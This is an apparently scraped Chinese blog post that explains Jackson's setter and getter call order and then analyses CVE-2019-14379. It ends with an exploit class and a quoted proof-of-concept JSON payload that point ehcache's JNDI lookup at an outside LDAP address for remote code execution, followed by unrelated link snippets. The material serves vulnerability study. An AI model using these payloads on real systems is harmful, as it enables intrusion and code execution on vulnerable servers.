jackjson学习2+CVE-2019-14379漏洞分析
最近想着分析jackson,jackson和fastjson有点相似,浅蓝大神的文章很好,个人受益匪浅
昨天简单说了下jackson的用法,现在继续拓扑,补充前置知识,前置知识补充的足够多,那么漏洞分析也不是难事了:
昨天忘了说的一个jackson知识点就是序列化和反序列化的时候,setName和getName调用顺序:
Student.java:
package com.test.JackSonTest;
public class Student{
private String name;
private Integer age;
private Teacher teacher;
public Student(){
System.out.println("student构造方法被调用");
};
public String getName() {
System.out.println(11111);
return name;
}
public void setName(String name) {
System.out.println(2222);
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
public Teacher getTeacher() {
return teacher;
}
public void setTeacher(Teacher teacher) {
this.teacher = teacher;
}
@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
", teacher=" + teacher +
'}';
}
}
在setName和getName处,新增输出语句:
调用测试类:
jackson序列化和反序列化:
@Test
public void test2() throws IOException {
//序列化 对象转json字符串
Student student = new Student();
student.setName("jack");
student.setAge(20);
student.setTeacher(new Teacher("lua",33));
ObjectMapper objectMapper = new ObjectMapper();
//序列化JSON串时,在值上打印出对象类型
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String result = objectMapper.writeValueAsString(student);
System.out.println(result);
//反序列化 json字符串转对象
String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]";
Student stu = objectMapper.readValue(jsonResult, Student.class);
System.out.println(stu);
}
输出结果:
student构造方法被调用
2222
11111
["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}]
student构造方法被调用
2222
teacher构造方法被调用
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}
结论:在序列化的时候调用set*,然后调用get*方法,反序列化的时候会调用set*方法,不会调用get*方法,调用反序列化的json数据对应的类构造方法
CVE-2019-14379漏洞分析:
影响jackson到2.9.9.1:
这个漏洞还是比较有意思的,其他的cve,我都看了下,都比较简单:
先安装漏洞环境依赖:
pom.xml:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency> <dependency>
<groupId>net.sf.ehcache</groupId>
<artifactId>ehcache</artifactId>
<version>2.10.6</version>
</dependency> <dependency>
<groupId>javax</groupId>
<artifactId>javaee-api</artifactId>
<version>6.0</version>
</dependency>
单单有ehcache依赖是不行的,还得有javaee包,否则调用ehcache的时候,会提示找不到!
反序列化的恶意类是:net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup
因为代码量的原因,直接静态调试了,不是很难,通过反射进入代码:
进入类:
找到这段代码:

public void setProperties(Properties properties) {
if (properties != null) {
String jndiName = properties.getProperty("jndiName");
if (jndiName != null) {
this.defaultJndiSelector.setJndiName(jndiName);
}
}
}
获取jndiName的值,然后设置jndiName:

继续看这个类的其他方法:

public DefaultTransactionManagerLookup() {
this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()};
}
定义数组,存储了这些数据,其中包含了this.defaultJndiSelector,这是重点,等下会用到
this.defaultJndiSelector的来源:

private final JndiSelector defaultJndiSelector = new GenericJndiSelector();
发现defaultJndiSelector实例化了GenericJndiSelector
这个等下要用到,这个先标记下.
继续看这个类的其他方法:getTransactionManager():

代码如下:
public TransactionManager getTransactionManager() {
if (this.selector == null) {
this.lock.lock();
try {
if (this.selector == null) {
this.lookupTransactionManager();
}
} finally {
this.lock.unlock();
}
}
return this.selector.getTransactionManager();
}
跟进去this.lookupTransactionManager():

其中
Selector[] var1 = this.transactionManagerSelectors;
int var2 = var1.length;
获取的数组内容,就是DefaultTransactionManagerLookup类提供的,继续往下走代码:

跟进去:

public TransactionManager getTransactionManager() {
if (this.transactionManager == null) {
this.transactionManager = this.doLookup();
}
return this.transactionManager;
}
调用this.doLookup()方法:
跟进去:

跟进到了Selector类,发现这是个抽象类:
以前写文章说过,java基础:抽象类方法的实现在他的子类继承,如果想实现抽象类中的方法,需要子类继承父类,然后重写方法.
寻找他的子类:

跟进去看看:

快速找doLookup的具体实现:

把代码搞出来:
protected TransactionManager doLookup() {
InitialContext initialContext;
try {
initialContext = new InitialContext();
} catch (NamingException var14) {
LOG.debug("cannot create initial context", var14);
return null;
}
try {
TransactionManager var3;
try {
Object jndiObject = initialContext.lookup(this.getJndiName());
if (jndiObject instanceof TransactionManager) {
var3 = (TransactionManager)jndiObject;
return var3;
}
发现调用lookup,远程调用我们的jndiName,jndiName可以通过properties设置:
Object jndiObject = initialContext.lookup(this.getJndiName());

至此都分析完了,触发jndi远程调用的文件是:net/sf/ehcache/ehcache/2.10.6/ehcache-2.10.6.jar!/net/sf/ehcache/transaction/manager/selector/JndiSelector.class
只要我们设置我们的jndiName为恶意地址,并且调用getTransactionManager方法,即可实现rce:
构造exp:
package com.test.JackSonTest; import com.fasterxml.jackson.databind.ObjectMapper;
import com.mysql.jdbc.MiniAdmin;
import net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup;
import org.jdom.transform.XSLTransformException;
import org.jdom.transform.XSLTransformer; import java.io.IOException;
import java.sql.SQLException;
import java.util.Properties; public class attackJdbc {
public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException, XSLTransformException {
ObjectMapper objectMapper =new ObjectMapper();
Class.forName("org.jdom.transform.XSLTransformer");
Class.forName("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String json2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":[\"java.util.Properties\",{\"jndiName\":\"ldap://119.45.227.86:123\"}]}]";
Object o = objectMapper.readValue(json2, Object.class);
objectMapper.writeValueAsString(o);
}
}
这里要writeValueAsString序列化一次,是因为只有调用get方法的时候才能触发lookup远程调用,所以这里需要序列化一次
运行代码:

关于恶意json的构造,参考一开始写的测试类中序列化的生成,我是根据序列化生成json反推出来的恶意json
浅蓝提供的exp是:
String poc = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"ldap://119.45.227.86:123/hello\"}}]";
这边执行提示我json格式错误...
真的学到了不少哈哈哈,还是比较有意思的,虽然实战很鸡肋..
漏洞分析参考文章:
https://b1ue.cn/archives/189.html
jackjson学习2+CVE-2019-14379漏洞分析的更多相关文章
- Java安全之XStream 漏洞分析
Java安全之XStream 漏洞分析 0x00 前言 好久没写漏洞分析文章了,最近感觉在审代码的时候,XStream 组件出现的频率比较高,借此来学习一波XStream的漏洞分析. 0x01 XSt ...
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
- 《0day安全软件漏洞分析技术》学习笔记
最近因为工作需要在看0day的软件漏洞分析,发现这本<0day安全软件漏洞分析技术(第2版)>真是本好书,唯一缺点就是书上的环境是Windows XP 32Bit的,基于现状难以进行实践, ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
- ThinkCMF X2.2.2多处SQL注入漏洞分析
1. 漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...
- 看个AV也中招之cve-2010-2553漏洞分析
试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...
- CVE-2019-0708 漏洞分析及相关测试
在CVE-2019-0708公布后几天就已经尝试过复现该漏洞,但借助当时exp并没能成功复现反弹shell的过程遂放弃,故借助这次漏洞复现报告再来尝试复现该漏洞,因为还在大三学习中,有很多知识还没有掌 ...
- Exchange ProxyLogon漏洞分析
Exchange ProxyLogon漏洞分析 前言 续前文继续学习Exchange漏洞 Proxyshell 影响范围 Exchange Server 2019 < 15.02.0792.01 ...
随机推荐
- linux 在某个路径下,查找某个文件
find /cephfs/netdisk/ -name "*.sql"
- uni-app 微信小程序授权登录
1.微信小程序 获取用户信息 与获取手机号 详细信息看官方公告:https://developers.weixin.qq.com/community/develop/doc/000cacfa20ce8 ...
- 判断post,ajax,get请求的方法
判断post,ajax,get请求的方法 define('IS_GET',isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] ...
- 【beego】beego的路由设置
beego 存在三种方式的路由:固定路由.正则路由.自动路由 基础路由 从 beego 1.2 版本开始支持了基本的 RESTful 函数式路由,应用中的大多数路由都会定义在 routers/rout ...
- 【工具类】获取请求头中User-Agent工具类
public class AgentUserKit { private static String pattern = "^Mozilla/\\d\\.\\d\\s+\\(+.+?\\)&q ...
- 缓冲区溢出分析第06课:W32Dasm缓冲区溢出分析
漏洞报告分析 学习过破解的朋友一定听说过W32Dasm这款逆向分析工具.它是一个静态反汇编工具,在IDA Pro流行之前,是破解界人士必然要学会使用的工具之一,它也被比作破解界的"屠龙刀&q ...
- CTFHub-技能树-SSRF
SSRF 目录 SSRF 1.内网访问 2.伪协议读取文件 3.端口扫描 4.POST请求 5.上传文件 6.FastCGI协议 7.Redis 8.URL Bypass 9.数字IP Bypass ...
- 【antd Vue】封装upload图片上传组件(返回Base64)
最近需要把上传的图片信息存储到数据库,以base64的方式,需要重新封装一下antd的upload组件 1. 使用方法 引入组件然后配置一下即可使用,配置项包括 defaultImageList,需要 ...
- 【jQuery】精细学习记录
[jQuery]精细学习记录 基础 基本语法: $(选择器).action(回调函数); $/jQuery //jQuery核心函数 $(选择器) //获得的jQuery对象 jQuery核心 - j ...
- 二、postman断言及正则表达式取值
postman老式断言与新式断言总结:本文以微信开发者文档为例 断言处如图所示 一.老式断言 老式断言总结:var variables相当于代码中定义的变量,test['']=true;相当于pyth ...